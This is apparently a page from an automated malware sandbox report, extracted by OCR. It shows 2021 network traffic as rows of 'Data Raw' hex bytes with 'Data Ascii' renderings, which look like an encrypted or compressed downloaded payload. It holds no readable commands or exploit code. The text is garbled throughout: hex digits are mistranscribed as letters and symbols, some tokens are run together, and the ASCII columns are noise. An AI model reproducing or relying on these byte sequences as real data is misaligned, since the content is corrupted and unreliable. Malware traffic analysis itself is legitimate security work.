5e 78 82 b6 1b 2f 36 53 a0 d1 9d e2 el dc 8 41 a0 a5 2b f1 0f 96 e6 b6 13 2a 89 d8 d1 75 dd 93 9c 22 6d 70 cO 99 le 1b
c2 ac 5a d8 eb 51 de c4 93 46 ba 1a 5a 2d 7c e5 ed 1d e0 80 af ee 82 c6 d5 40 6f Oc 6¢ 9c 7c 72 18 25 1f db fa 27 6b 66
37 b3 1f 20 a7 6b eb 3b Oe b4 3c fe 77 90 5f ea 4a 7d e5 6¢ 4e fd 11 60 42 ad aa 89 43 2¢ 04 00 1a 19 93 9d a9 af 1b 3
d2 99 e0 14 5d 9d ca cd 48 90 Oe 13 al 05 49 la 7a
Data Ascii: aiXi.&Of|o-Aki h"Y,b40gFpSAgV- <I#2fB$hdK|v12&]+ ~X/6SA+*U"MpZQFZ-|@ol|r%'kf7 k;<w_J}IN'BC,]HIz

2021-09-13 23:07:18 UTC 448 IN Data Raw: 01 7d d7 61 ad d8 c7 de cd 56 8a 4e 83 ab 16 1f e3 3e 10 df 85 2a 1b 69 41 b0 ad 8b 03 24 f8 1b aa ee a5 ec
6f 07 b6 8d 5 2c 50 ab aa 82 29 c8 ce 40 8e 5b c9 b8 41 3a ea 3f bf 68 a0 ce 21 30 a8 3f 63 7c 7e f2 cd 76 15 b1 07 18 2e
a0 62 92 af b1 27 39 71 a6 78 6b 22 8¢ 6d 93 ba ef 5d 2e df d0 66 9a b7 e1 9d 09 e0 f9 d3 3e 7c c0 aa 67 Ob 9a 31 ca 70
6b 6b 17 ef 5 3 ca 91 9a cf 9e b4 01 16 6d f1 49 5a 6f 24 9 f8 ¢7 80 5d f2 9f 18 fb 22 71 6¢ f6 56 bc d1 5¢ 5d 74 04 ab ba
f2 b8 64 5f 41 8f 05 65 79 23 a6 dc Oa de dc 42 95 88 a9 97 2b 29 75 88 €5 6¢ da 75 ¢8 43 6d c4 Oe db 48 1b 9c dO 9c a7
7b 65 ec d3 3c 00 c5 2b 26 ae 1c 22 1b 9e 85 4e 41 e0 33 b1 81 22 80 69 e7 31 b5 2f fe 32 bd 9f e0 c4 06 8b 86 27 Oc 9e
ff 76 01 al 76 71 b3 fa 70 be 66 f7 f3 bf 5¢c 7¢
Data Ascii: }JaVN>*iA$0,P)@[A:?h!0?c|~v.b'9gxk"m].f>|g1pkkmIZo$]"qIV\]td_Aey#B+)uluCmH{e<+&"NA3"i1/2'vvapf\|

2021-09-13 23:07:18 UTC 449 IN Data Raw: 3c 95 8e el ee f8 6¢ a0 94 bb dc 0f 66 ee b6 13 4b 89 a8 d1 1c 4c be 9c 8f 65 03 c0 b4 1e 6¢ c2 c5 ¢8 b6 eb bc
d6 b6 93 32 ba 79 5a 42 ef 97 ed b8 e8 ad af 80 82 b2 d5 35 db 7d 6¢ 39 74 00 18 08 1f ac fa 4e de 0a 37 17 17 4f a7 1c
eb 16 Oe d8 30 cf 77 bd 5¢ db 4a 50 ec 5¢ 4e fd 11 60 42 cc fb c2 06 45 04 2d 1a 74 13 d5 ec 82 1b 84 d2 f0 78 05 18 b0
a8 3e 0d f5 85 6e €0 70 c2 76 3b 00 f9 6¢ 2e ¢7 bc d5 b2 bb 0d 67 9¢ d7 b5 6e 87 01 76 7e 28 6d d3 39 a0 f4 35 22 83 3e
55 bb 7a d2 00 4d 94 91 1f fe d8 fa ¢3 9a 9b ed 6e 21 7b b5 08 5f Oc 70 15 09 3d 7a 2c 1f f4 f6 €0 5¢ 68 67 2e fa 6f 32 ab
€3 f0 25 f4 9c 60 85 ef 08 35 4a 9e 28 c4 6b dO 5f f9 f9 7a 1c 5e 37 44 f3 03 dO eb 55 57 51 11 f9 b2 15 de b7 27 6a 00 56
56 e5 e4 5d df aa 38 8c 15 39 b7 a3 6a 45 86 c2
Data Ascii: <IfKLel2yZB5}I9tN7O0W\JP\N"BE-tx>npv;l.gnv~(m95">UzMn!{_p=z,\hg.02% 5J(k_z"7DUWQ'|VV]89JE

2021-09-13 23:07:18 UTC 450 IN Data Raw: 2a e7 01 63 be 9f 49 3e 9d 45 f9 81 d7 81 5d 2 b0 54 fb 4d 3c 03 f6 32 dO b1 5c 24 8b fb 54 45 ec ec 64 2a 7a
ea 05 16 23 47 a6 bd 72 a7 dc 42 02 df a9 f2 9e 4d 75 e6 31 09 da 06 3b 27 6d a5 1f a3 48 1b ac 85 9c cf 35 11 ec al 51
72 c5 4f 32 cf 1c 5b 03 91 c2 4e 5¢ a6 33 ¢3 9d 44 c7 0d fd 50 b5 56 de 3d fa 9f fb 97 06 ea a2 5¢ 4b eb e0 04 01 c5 5a 1f
f4 83 63 be 66 f7 c7 fa 1b 1d a8 07 8d f2 ec 86 57 82 2f ¢4 f1 13 60 cb 0b 57 aa 51 71 f6 2b 2¢ 98 7d 24 75 25 eb 67 fc 7d
1b 9d 37 19 3a fb 59 2c 72 8b ed dc ff ad e4 49 b0 14 3a 1f 84 cd d4 91 c9 6c df d8 df 55 83 27 f2 af Of 44 75 cc 1f 65 59
35 0b ec 66 €9 bb 85 3e a6 d7 09 e7 da ca c2 e7 5b 92 08 41 6a f6 13 d4 ab c9 f1 61 f9 05 1f 19 e8 af 04 e0 92 21 61 4f
a8 86 43 Oe 35 76 6a dc 92 ba c8 74 bb 9b d0O
Data Ascii: *cI>E]TM<2\$TEd*z#GrBMul;'mH5QrO2[N\3DPV=\KZcfW/"WQq+,}$u%g}7:Y,rl:IU'DueY5f>[AjalaOC5vijt
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 452 IN Data Raw: 77 71 be 18 6b be f2 f8 f8 ¢8 0d 1e fO bc f2 1a c2 64 38 13 72 Ob d3 4c 24 82 72 41 c6 4a 1b d2 29 bd 00 23 24
fa 58 d3 9d 96 8d ab cf c0O 6e 10 9f 80 4f 6f 49 70 5b 09 7a 1f 2c 67 08 9a a7 71 2d Oa 60 89 3a 1f ab 94 e4 55 b3 f2 25 a8
al 66 60 3e 9e 5d e8 01 97 3a bf 8b 28 31 1c 53 44 9a 4f a8 ac 39 11 3e 43 9e f1 77 de d8 4b Ob 47 7b 10 89 b6 6¢ 93 87
38 bd 85 0d f0 93 2¢ 45 d4 c2 0d 69 d9 1d 9d 67 a3 Oa df 31 d2 69 71 dd b0 b7 45 79 9e 05 f1 90 ¢7 7d 66 07 6d 47 38 42
61 43 c7 8b 18 cb 58 aa 9f d4 56 91 df 8b df 10 5a c5 48 d9 ff 13 ab 90 20 5¢ 2c 9d 11 ac al 25 95 90 1d ed de 7b 68 31
€0 2e Oc 03 8c c5 8e 34 0f e5 d6 87 64 47 5¢ cd e3 d1 c6 8c 12 db dd 79 db 6¢ 4d b2 13 ad 7c dd 99 89 7d €9 64 ee 87 73
6d e3 f6 0a 98 c4 37 1b 3d 11 bf ad 8b 4e 9d cd 38
Data Ascii: wgkd8rL$rAJ)#$Xn0olp[z,gg-":U%f >]:(1SDO9>CwKG{I8,EigligEy}fmG8BaCXVZH \,%{h1.4dG\yIM|}dsm7=N8

2021-09-13 23:07:18 UTC 453 IN Data Raw: 78 89 69 8d 95 d0 e5 10 eb 21 b7 f1 7b 24 €9 4c 34 a7 30 71 84 67 4a df 1f 2b 17 25 8e 33 92 3a 75 8d 37 19
5f a7 38 6b 15 8e 81 dc 96 c9 98 Oe d8 0a 17 1f ed al a9 d6 ac 7e df d8 ba 25 e2 60 95 8f 63 44 1c b8 63 22 31 39 26 ec
Oc 91 d5 c2 53 ad b6 09 8e 5a a6 85 86 4e 92 08 24 e2 97 54 b3 b7 a5 f1 08 69 79 58 71 f1 82 04 8e Oa 54 26 4f b9 86 43
6b 95 17 2d bb 8a d6 c8 1d 13 e7 97 48 85 69 69 23 b2 d7 8b 85 c9 1c 22 af 59 Oc {7 6e 62 52 fa 69 c3 Oe 46 c0 70 a0 53
4167 f9 8¢ 69 c5 ff 1b 97 56 d7 a7 ed 2d 13 3c b7 21 89 e3 b2 1a 93 d7 5b 66 ff b4 bd 24 7a a2 c1 el c3 64 6b b8 62 17
b2 7c 02 f1 60 98 89 32 7b 26 f1 ff 1f f4 5d eb 4d 92 30 78 e5 b6 77 2f d0 53 d3 11 fd e2 cc dc 8d 41 cb a5 bb f1 0f 56 8b
b6 7d 2a ee d8 bd 75 25 93 ef e2 0d 70 ed 99 6b 1b bl
Data Ascii: xil{$L40qgJ+%3:u7_8k~% cDc"19&SZN$TiyXqT&OCK-Hii#"YnbRiFpSAgiV-<![f$zdkb| 2{&]MOxw/SAV}*u%pk

2021-09-13 23:07:18 UTC 454 IN Data Raw: c2 5e 69 d9 6e 31 Oe e4 6b 9b 5f 97 00 30 ae b0 df 89 4d d9 75 b5 e5 82 18 25 75 6d 33 cc 34 26 63 83 f9 5d
a2 14 c9 9f bb 4e 8b 98 8 9b 60 1f a4 1b b7 ff 7a 9f f9 67 34 69 b0 5f d9 €8 57 95 €5 4d 90 99 Oe 21 50 b4 57 5f 03 8¢ b6
e2 5e 48 84 98 €9 2b 2e Oe be €3 b9 46 bb 55 ad 93 1c 94 02 1f d7 13 d7 d8 b2 de ec 33 85 2b 8f c9 73 6d 90 3e 67 df al
67 7f 69 78 fd de 8b 26 69 fa 7f a8 c1 b5 95 01 07 da 8d f0 48 5a cf e2 a2 64 85 f0 0d d9 3f c4 94 12 43 e0 46 c6 68 9d 86
70 5d c5 05 10 0f Ob f2 be 76 46 b1 72 18 35 a0 11 92 83 b1 48 39 7e a6 15 6b 13 8c 6a 93 b6 ef 3e 2e €9 d0 03 9a bl el
ef 09 dd 9 cf 3e 68 c0 c3 67 23 9a 43 ca 7a 6b 03 17 d5 e5 fc ca 84 9a cf 9e 84 01 19 6d fa 49 5d 6f 2d f9 81 c7 e5 5d 9¢c
9f 32 fb 21 71 63 6 5¢ bc d4 5¢c 24 74 63 ab c8
Data Ascii: "in1k_0Mu%um34&c]N zg4i_ WM!PW_"H+.FU3+sm>ggix&HZd?CFhp]vFr5H9~kj>.>hg#Czkml]o-]2!qc\\$tc

2021-09-13 23:07:18 UTC 455 IN Data Raw: 9b 24 85 44 01 79 f5 b8 86 f4 c9 68 56 ee le 2c f9 Ob 62 34 7a 32 84 67 49 a7 70 c1 df 68 20 f9 9c 08 c5 91 83
d9 11 bb b6 80 2d 60 €8 ce 66 a4 f1 c2 1la el 3b 23 21 91 a7 d0 24 1e 06 89 a6 a7 70 4f b8 1b a7 bb 3b 76 e4 Ob 98 eb 8e
336196 €9 74 f4 5d 23 01 d5 5e 60 86 b6 1b fb 90 14 a0 08 91 e2 el 3c d1 06 a0 bf bf f1 Of ba c7 f1 13 31 8d d8 d1 8d 65
d4 9c fe 61 70 c0 9d 34 5¢ c2 bl cc d8 eb 81 fc 83 93 58 be 1a 5a 31 c5 a2 ed c2 ec 80 af c6 a8 81 d5 60 df Oe 6¢ 68 5e
3518 04 1b db fa 67 f4 23 37 51 13 20 a7 27 c1 7c Oe 97 34 fe 77 c8 76 ad 4a 59 e8 6¢ 4e 99 3b 27 42 88 ff b2 06 5¢c 2e
47 1a 3f 17 a6 ec d3 31 b4 d2 be 7c 6b 18 15 82 0a 0d b9 81 0d e0 91 €8 43 3b 43 fd 18 2e 1e 96 bf b2 e3 09 1e 9c 08 of
5d 87 48 72 13 28 b3 f9 Ob a0 b7 31 41 83 9a 7f 95
Data Ascii: $DyhV,b4z2glph -'f;#!$pO;v3at]#" <leap4\XZ1'Ih"5g#7Q '[4wvJYIN;'B\.G?1|kC;C.]JHr(1A

2021-09-13 23:07:18 UTC 457 IN Data Raw: 19 ce b3 dc 95 6f 07 b6 e5 91 2d 34 cf 86 a2 64 ed 83 78 ae 3f ad 94 61 2a 93 35 c6 68 €8 86 1b 34 c5 71 10
0f 7e f2 cd 1c 46 d0 72 18 40 a0 62 f9 e2 de 48 39 1f a6 78 05 76 e0 18 93 df ef 5d 40 88 bf 03 9a d3 el 9d 79 b4 95 bb 3e
09 cO aa 17 4d ee 43 ca 19 6b 6b 65 bc 8a 92 ca e5 9a cf ec e7 74 63 6d 9f 49 3e 07 45 8b 81 c¢7 80 5d f2 ec 55 90 4d 71
02 f6 32 cf b0 2d 24 74 04 ab ba 81 ec 12 2a 41 ea 05 16 0d 47 ce bd 0a a7 dc 42 el df db f2 2b 4d 75 6 90 09 a8 06 c8
27 6d a5 67 a2 2c 1b 9¢ 84 9c cf 19 10 89 al 3c 73 c5 4f 55 cf 70 5b 1b 9e 85 4e 24 a6 47 c3 81 4b 80 0d 8b 50 c3 56 fe
32 bd 9f 8¢ 97 72 ea 86 53 Oc eb 99 04 60 c5 76 10 b3 83 06 be 0f f7 f3 f5 5¢ 1d el 07 f4 f2 d0O 89 10 82 40 c4 8b 13 24 c4
4c 57 c2 51 04 f6 67 23 df 7d 46 75 4e eb 33 f3 3a
Data Ascii: 0-4dx?a*5h4q~Fr@bH9xv]@y>MCkketcmI>E]UMg2-$t*AGB+Mu'mg,<sOUp[N$SGKPV2rS @$LWQg#}FUN3:

2021-09-13 23:07:18 UTC 458 IN Data Raw: 80 ac 87 d8 eb 91 d6 c4 fd 46 c9 1a 77 2d b5 e5 ac dd e8 80 c2 ee eb c6 f8 40 95 Oe 36 5¢ 74 72 79 25 6d db
d7 27 97 64 66 73 17 20 c3 6b 8e 3b 23 b4 73 fe 3f 90 5¢ ea 2f 7d 82 6¢ 63 fd 56 60 00 ad fb b2 63 2¢ 77 00 37 19 5e a6
b4 af 1b 3 b4 99 Oa 6b 35 9d ea 4d 48 90 85 0d 89 05 b6 04 16 69 ba 18 66 be bc f8 dc c8 61 1e bl a4 f7 lac2 64 76 13
46 0b bd 4c 8d 9a 7b 41 cc 4a 55 d2 Oa bd 74 23 b9 e2 4f d3 8¢ 96 c3 ab e8 c0 1c 10 56 98 5b 6f 5¢ 70 38 09 71 1f 4d 67
8082 8e 71 68 0a 2e 89 1c 1f dd 94 dd 4c b2 f2 29 a8 ef 66 54 3e e4 5d 9 18 91 3a a3 8b 57 31 1d 53 3d 9a 71 b1 87 39
573e 11 9e ¢l 77 bbd8 0a 1253 7b 13 89 e4 6¢ b2 87 4b bd 38 14 f5 93 24 45 86 c2 2b 69 a3 1d 1c 7e bl Oacl 31 ba
69 73 dd c9 b7 fb 60 b5 05 b5 90 82 7d 54 07 18 47 b6 5b Ob
Data Ascii: Fw-@6\try%m'dfs k;#s?\l}icV"c,w7”k5MHifadvFL{AJUt#OV[0\p8qMggh.L)fT>]:W1S=q9W>WS{IK8S$E +i~1is } TG[

2021-09-13 23:07:18 UTC 459 IN Data Raw: 76 ca ab 64 95 41 ea 05 ce 41 00 a6 75 Oa a7 dc 02 bd 98 a9 db 2b 4d 75 02 dd 4e da 9d c8 27 6d 59 36 e5 48
70 9c 84 9c cf 53 57 ec 80 3c 73 ¢5 5b 1f 88 1c 38 1b 9e 85 4e 66 el 33 c2 81 4b 80 2d de 17 b5 12 fe 32 bd b3 d9 d0 06
97 86 53 0c d3 c6 43 01 72 76 10 b3 8b 57 9 66 f5 3 f5 5¢ 4d b0 40 8d b7 d0 89 10 a2 06 83 f1 17 24 ¢4 4c Ob 9e 16 71
b1 67 23 df 15 12 32 25 6¢ 33 f3 3a 33 aa 70 19 3f a7 56 6b 06 b7 aa dc b7 c9 eb Oe 80 2d 7d 1f 82 al db d6 49 47 98 d8
7d 25 8¢ 60 7e b6 48 44 e4 b8 10 22 c1 00 4c ec 2f 91 b4 c2 9a 94 90 09 54 5a c5 85 57 77 d5 08 ea e2 f9 54 d4 9e 8e f1
2069 0a 58 a5 c8 e8 04 6b 0a 2e 26 77 9e c1 43 09 95 79 2d 10 b3 fd c8 3e 13 94 97 60 a2 03 69 58 b2 b8 8b 28 f0 2f 22
6459 2c f7 eb 5b 73 fa d6 ¢3 67 46 53 49 86 53 ed 67 f9
Data Ascii: vVdAAU+MuN'mY6HpSW<s[8Nf3K-2SCrvWAM@$Lqg#2%I3:3p?Vk-}IG}% ~HD"L/TZWWT iXk.&wCy->"iX(/"dY,
[sgFSISg

2021-09-13 23:07:18 UTC 461 IN Data Raw: 8a 44 fa 00 93 94 e2 1f bb e6 d1 ¢3 13 9b c0 6e 68 45 df 08 a4 Oc 70 15 81 03 58 2c a0 f4 82 e0 al 4f 4d 2e 93
6f 1f ab Oc ce Ob f4 ae 60 a8 ef 8a 05 79 9e be c4 18 d0 e c7 cc 7a f3 5e 53 44 26 3d f6 eb 84 57 3e 11 4a 8c 30 de 7e
27 12 00 97 68 ce e4 f5 df 87 38 65 32 53 b7 88 6a 45 86 c6 61 2e d9 87 31 7e e4 la a4 76 97 34 30 dd b0 27 al 27 d9 36
b5 90 82 61 1a 40 6d 3d cc 5b 26 bb ab cc 5d 8b 14 aa 9f fc 71 cc 98 01 9b 10 1f 7d 33 9e ff 2b 9f 8a 67 64 56 da 5f 2c e8
25 95 50 65 b0 99 42 21 31 b4 6a 60 44 8c 44 e2 2e 48 05 bf cO 2b 5b Oe cd €3 81 79 d1 55 85 93 79 94 30 20 f5 13 c3 d8
c7 de 61 14 ae 2b f3 ¢9 73 6d 8b 01 57 df 9b 67 1b 69 b1 d5 ea 8b 7b 69 d7 7f ba fe 9b 95 13 07 b6 8d 55 55 73 cf a6 a2
64 85 03 32 e9 3f cf 94 61 43 63 61 81 68 f6 86 1b
Data Ascii: DnhEpX,0M.0’yz*SD&=W>J0~'h8e2SjEa.1~v40"6a@m=[&]q}3+gdV_,%PeB!1j'DD.H+[yUy0 a+smWgi{iuu
sd2?aCcah

2021-09-13 23:07:18 UTC 462 IN Data Raw: 5¢ 1b ff 37 34 3a c1 56 19 72 8e ed ba ff bb eb 23 b0 66 3a 6a 84 al db b0 c9 Oc df f5 df 48 8¢ 03 f2 8f Of 23 75
d4 10 0f 59 5¢ 0b 9f 66 91 b4 a5 3e d8 d7 24 e7 33 c5 eb e7 4e 92 60 41 87 f9 79 d4 de c9 9d 61 69 Oa 30 19 98 af 29 e0
63 2e 48 4f b9 86 2b Oe e7 79 00 dc e8 ba a9 74 13 94 ff 20 7 44 44 50 da b8 f9 f0 c9 68 4a c7 2c 2c da Of Oa 34 8f 1b c3
67 2e a3 09 cl 7e 41 06 f9 el Oc c5 91 72 fO 32 bb 8a 84 44 60 58 df 21 a4 8a c6 69 el fa 32 0f 91 c¢7 d4 24 1e cb a0 95
a7 49 4b db 1b 7f 92 7c 76 98 Of ec eb 1f 1a 4f 96 8b 70 f4 5d 81 28 f3 5e 55 82 dc 1b 5f b9 53 a0 7a 95 83 el f1 f8 26 a0
c0 bb f1 0f 3d ee dd 13 07 89 b3 d1 0f 4c 93 9c 89 65 1e c0 b4 1e 72 c2 c2 c8 d8 eb fa d6 ab 93 2d ba 37 5a 44 ef 8b ed
dd e8 80 af 85 82 a9 d5 6d db 65 6¢ 2e 74 72
Data Ascii: \74:Vr#f:jH#uY\f>$3N"Ayai0)c.HO+yt DDPhJ,,4g.~Ar2D"X!i2$IK|vOp](*U_Sz&=Ler-7ZDmel.tr

2021-09-13 23:07:18 UTC 463 IN Data Raw: f5 42 89 90 b3 ca 1f b1 96 d6 45 97 bd 89 90 0d 2e e6 52 97 b9 13 9f 8a 56 7f 38 d3 1e e2 8 25 a4 b3 1e b9
d8 35 21 31 85 0d 16 4d c8 c5 e2 2e 48 e5 98 87 2b 47 fe 2 e3 d1 46 96 d5 1b 7c 46 94 6¢ 1f b2 13 2f 37 18 de 89 33 €9
ab aa 26 4c 6d e3 3e 10 1f c3 88 24 69 11 fd ad 8b 82 87 e8 7f ce c1 dc d5 fe e9 89 8d 91 48 34 8f d1 4c 5b 85 83 0d ae 3f
b3 7a 5e 43 93 46 ¢6 a8 0d 6b 24 5d ¢5 05 10 8f d0 1f f2 76 46 b1 72 d8 37 4d 5d 92 e2 b1 48 9 5e 4b 47 6b 76 8¢ 18 53
d3 02 62 2e 88 d0 03 da Ob 0d a2 09 b4 9 bb fe ad 2c 95 67 4d 9a 43 Oa 68 87 54 17 bc e5 92 4a da 76 f0 9e e7 01 63 6d
91 a5 01 6f 45 9 81 87 5d b6 cd 9f 55 fb 4d 71 af 1d 0d bc b0 5¢ 24 f4 79 40 85 2 ec 64 2a c1 a4 ee 29 79 47 a6 bd 4a 87
37 7d 95 df a9 2 ab bf 9f d9 e5 09 da 06 48 e2 87
Data Ascii: BE.RV8%5!1M.H+GF|FI/73&Lm>$iH4L[2z CFk$]VFr7M]HAKGkvSb.,gMChTJIvemoE]UMa\$y@d*)yGI7}H
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 464 IN Data Raw: b5 f8 61 6e 1d 42 b5 6b bb €7 2b 0a 1a 17 1c le 15 c1 a3 e7 40 7c 35 5b 91 b4 a0 68 48 d4 64 de d7 eb dO 9c
84 d4 df 41 76 91 9f fc a3 f2 df 19 fe c9 2f 8a 89 2e 00 af 5e 18 fa 59 bf 28 7e 6¢ 58 {7 88 bb Ob 5a b7 7c a0 25 78 0b 56
1a 26 89 64 60 38 89 02 29 0f ae 9c 22 c9 1a 95 17 d7 24 d2 42 9e 09 63 8d e2 f9 93 a6 91 19 6a e2 25 da 88 4c 57 5e 9¢
d9 ac fb d5 20 75 1d 5e 51 b8 4d f5 ¢7 94 6a 46 32 95 59 37 13 c1 f6 5e 22 26 04 27 99 91 3c 20 25 6¢ d7 4a 7d c1 e6 87
7e df 5f b0 b5 f6 63 f3 06 40 3d 1a f9 85 45 a8 13 d4 cc e5 cd 1e 43 el 2e ef 70 0d 70 b3 04 34 7d 12 3b 39 30 eb 10 d8 4f
84 ¢5 b2 58 bf 3b 52 b6 64 25 62 de 33 1c 34 8e ef 71 a0 6a d6 36 88 €6 84 ed d9 c3 04 28 84 75 20 ee d8 26 11 3b 3e 83
bc 2f 26 4c el 87 79 eb 29 34 3d 4f bf ca a3 59 32
Data Ascii: anBk+@|5[hHdAV/.AY (~IXZ|%xV&d'8)"$Bcj% LW urQMjF2Y7M"&'< %IJ}~_c@=EC.pp4};900X;Rd%b34qj6(u
&;>/&Ly)4=0Y2

2021-09-13 23:07:18 UTC 466 IN Data Raw: 1b dd 81 e7 55 72 b7 4d cf bb 13 d6 11 04 00 1d 62 32 aa b8 e5 90 d7 19 2d 31 84 e8 a2 1a 93 52 5d 2e aa 74
23 4f 14 5e a0 ac bc 29 ff 54 28 7d aa 67 32 5b f5 ce de d4 85 c1 ea 88 12 f0 a4 27 cf de 51 9d 03 5e 59 f6 22 ae 3b ee a4
36 b3 e0 2 9f 3e 04 €0 12 c7 49 f1 9e 24 5b 13 7c 49 16 ba d2 13 e6 8f d4 2e ba e2 e7 37 b5 2e b7 99 61 42 35 6 8¢ 44
ed 8e ca ba 5a 9f 58 b6 1a 65 d0 a5 ee 70 22 63 65 46 23 ec 4d 58 2e 29 6d 48 78 4f 46 bb 1e a8 36 5c 3a 73 1c 6 f1 20
c9 7b 3d 0d 67 6b el da 9f f3 02
Data Ascii: UrMb2-1R].t#0")T(}g2['Q"Y";6>1$[|l.7.aB5DZXep"ce F#MX.)mHXOF6\:s {=gk

2021-09-13 23:07:18 UTC 466 IN Data Raw: 4e fb 21 a5 3c 3e 16 bl eb ff 22 a3 20 e0 d0 Oc 75 11 93 45 6f 2d be el 1d 09 51 d1 f9 4c 36 af d4 43 61 46 90
10 89 f1 57 e7 bf €3 62 6f 9d 60 fb 54 a0 d9 62 66 b3 87 1b 8d 6f fc 80 df ea d4 e5 4f 6a df e2 fc de b3 b0 4a cc e5 0f 4d 61
69 8d 70 35 73 14 36 b1 dd f2 4f 66 0d c7 €6 a9 9d 1e ee 92 5e 9c b6 83 7f 3e 2d 77 48 74 8e 72 3a b2 e4 65 b4 b9 Oc b7
€9 d4 b7 5a 5b 5d 27 bc e7 d3 cf b1 07 32 a0 1f 9b 4f 39 6¢ 91 49 53 cd 92 6b c5 e6 d9 b0 50 7f 2b 20 c5 €6 fd 7b fO Ob 34
e8 2a 0f 18 8e 42 6e 4a 0f 22 6e 35 6e 7f d6 f9 34 f3 5f 40 f3 1a b4 31 Oc 45 4d e3 58 6¢ Ob 18 ac 79 cf d5 fe 10 bl 5e c6
9a 6e 23 bc 08 3c Ob 68 79 68 f3 9c c8 9f d9 4b b8 73 c0 2c 13 dc 4e 2b 4f 97 €9 7c 3a bd 42 70 74 df 2a d5 ea f9 c7 b0 e5
b4 dd 33 64 94 ac 95 e2 b4 fe d6 3e 04
Data Ascii: N!<>" uEo-QL6CaFWbo ThfoOjIMaip5s60f >-wHtr:eZ[]'2091ISkP+ {4*BnJ"n5n4_@1EMXIly”n#<hyhKs,
N+O|:Bpt*3d>

2021-09-13 23:07:18 UTC 467 IN Data Raw: 9e b2 77 de d8 24 e2 3f 7b 56 89 e4 ac dd 77 07 bd 15 14 b7 13 68 b5 b9 c2 5e 69 d9 5d 33 8e db 0a 9b 31 97
69 32 2d 8f b7 89 60 d9 c5 b4 60 bd 7d 25 07 6d c7 cd ab 19 43 83 8b 5d 8b 15 5a a0 d4 4e 8b 98 8b 9a e0 20 c5 1b d9 ff
d3 9f 7a 58 5¢ 69 9d 5f 2c e8 d5 aa 90 4d 7 99 3b 21 c1 8b 2e 5f 03 8¢ c5 e2 de 77 e5 98 87 2b 47 Oe cd e3 d1 46 96 55
db 93 79 94 6¢ 1f b2 13 ad d8 c7 de 89 33 69 57 ¢7 99 52 52 b6 5f 20 29 cd 6e 3a 54 11 fd ad 6b 65 5a e3 40 d3 35 ee 75
€356 bf b0 91 48 f4 af 19 1c 5b ba b4 36 a2 68 11 5d 2b 7e 93 46 a6 cb df 23 5e 62 43 aa 37 6e 7e d7 8e 4b 46 bl b2 d3
0d ch 29 ad 34 9b d6 85 00 c4 44 56 76 8¢ 28 85 16 77 0d 11 a2 d8 ae b6 3f 9b a2 34 b4 f9 ab 5a Ob bc f9 58 {3 d1 ea 9e
3e b4 20 2a bc e5 92 1b b7 ¢5 99 al Ob 15 01 fa 16 b9 78
Data Ascii: w$?{Vwh"i]31i2-"}%mC]ZN zX\i_,M;!._w+GFUyI3iIWRR_ )n:TkeZ@5uVH[6h]+~F#"bC7n~KF)4DVV(W?4ZX> *Xx

2021-09-13 23:07:18 UTC 468 IN Data Raw: 3f 67 06 68 33 65 22 93 26 4f 61 b1 fa 1b e6 c6 al 4a bc bf 6b 01 56 29 97 20 ad de c6 €9 c0 07 fe 86 e7 76 c3
82 75 91 7 0f 16 b9 5e 46 b1 d8 a0 ef fb 02 25 c0 28 44 8c Oc 79 80 83 f1 24 04 04 4c b7 b7 37 af 3b 19 e3 ¢6 f2 c7 5d 97
17 2e f7 d4 al 3c 97 5b a7 1a 64 4b 4c d7 6d db 0d c9 9e e8 4b 36 d5 12 69 2b ff 70 20 5e 81 c5 e2 el 7c 2a b9 e0 87 4b
1c 1d 11 95 9e 2a 8b 69 31 1f al b6 39 al 96 c1 f8 ae 2a 89 38 f2 31 79 e3 23 ad 9a db Of b6 2d 55 7f ac c8 28 f2 cf 64 ab
2c 5238 16 13 93 41 c4 50 dd e8 e0 a2 df 78 a8 6a 44 cf ac 28 ed 37 37 a5 25 1f d3 d8 26 9c Oa 88 fa 62 39 ad 35 ca 7e
b3 b4 30 2e 20 5e d5 87 f5 a0 15 d2 63 d0 dc 50 ff ad fb 2a a8 b4 d5 6¢c a5 9d 5d 12 07 5d 6b b0 6f 99 78 3b 3e fd bl 21
b2 02 72 8d f1 c7 5b 4e 86 69 f9 fO 90 9a dd 93
Data Ascii: ?gh3e"&0aJkV) vu"F%(Dy$L7;].<[dKLmMK6i+p A[*K*i19*81y#-U(d,R8APXjD(77%&b95~0. ~cP*[]]kox;>!r[Ni

2021-09-13 23:07:18 UTC 470 IN Data Raw: de 89 33 a9 d2 fa 3e 4c 6d e3 3e 10 27 d0 90 24 69 11 fd 2d 7d 5a 9e e8 7f ce c1 dc 60 7b fO 89 8d 91 48 b4 3c
92 55 5b 85 83 0d ee cd b9 63 5e 43 93 46 06 98 fc 71 24 5d c5 05 50 e0 6a 05 f2 76 46 bl b2 f5 54 57 5d 92 e2 b1 08 d5
Ob 51 47 6b 76 8¢ 18 78 cb 18 62 2e 88 d0 83 73 ¢7 16 a2 09 b4 f9 bb d6 1d 37 95 67 4d 9a c3 2c 0d 9c 54 17 bc e5 d2 2f
1 6d fO 9e e7 01 a3 8e 8b be 01 6f 45 f9 c1 25 94 aa cd 9f 55 fb 8d 91 16 01 0d bc b0 5¢c a4 ab 10 5¢ 85 f2 ec 64 2a 9f fe
22979 47 a6 3d d6 b3 2b 7d 95 df a9 f2 f0 59 82 d9 e5 09 da 86 11 33 9a 9a Oe a2 48 5b 44 90 6b fO 7b 10 ec 61 ea 67
327026 cf 1c 1b ce 8a 72 71 41 a6 33 03 52 5f 77 32 e7 50 b5 d6 2c 26 4a a0 e0 97 06 ea 57 47 fb d4 ff 04 01 45 b9 04
44 bc 70 be 66 f7 3d el ab 22 89 07 8d 32 1c 9d e7
Data Ascii: 3>Lm>'$i-}Z" {H<U[c"CFq$]PjvFTW]QGkvxb.s7gM, T/moE%U\d*)yG=+}Y3H[Dk{ag2p&rqA3R_w2P,&JWGED
pf="2

2021-09-13 23:07:18 UTC 471 IN Data Raw: a0 a5 bb 71 6¢ 43 19 89 13 2a 89 18 b3 60 bb ac 9c e2 65 70 a2 8c e9 24 c2 ac ¢8 98 8a 84 21 fb 93 46 ba 9a
3a 38 18 da ed dd e8 40 f0 fb 75 f9 d5 40 db Oe 33 49 83 4d 18 25 1f 9b a4 32 29 5b 37 73 17 a0 fa 7e 1c 04 Oe b4 30 fe
2a 85 ab d5 4a 7d ec 2c 12 e8 e6 5f 42 ad fb 32 5d 39 f3 3f 1a 19 13 66 b6 ba ec cc d2 99 78 6b 42 88 5f 72 0d 90 85 4d
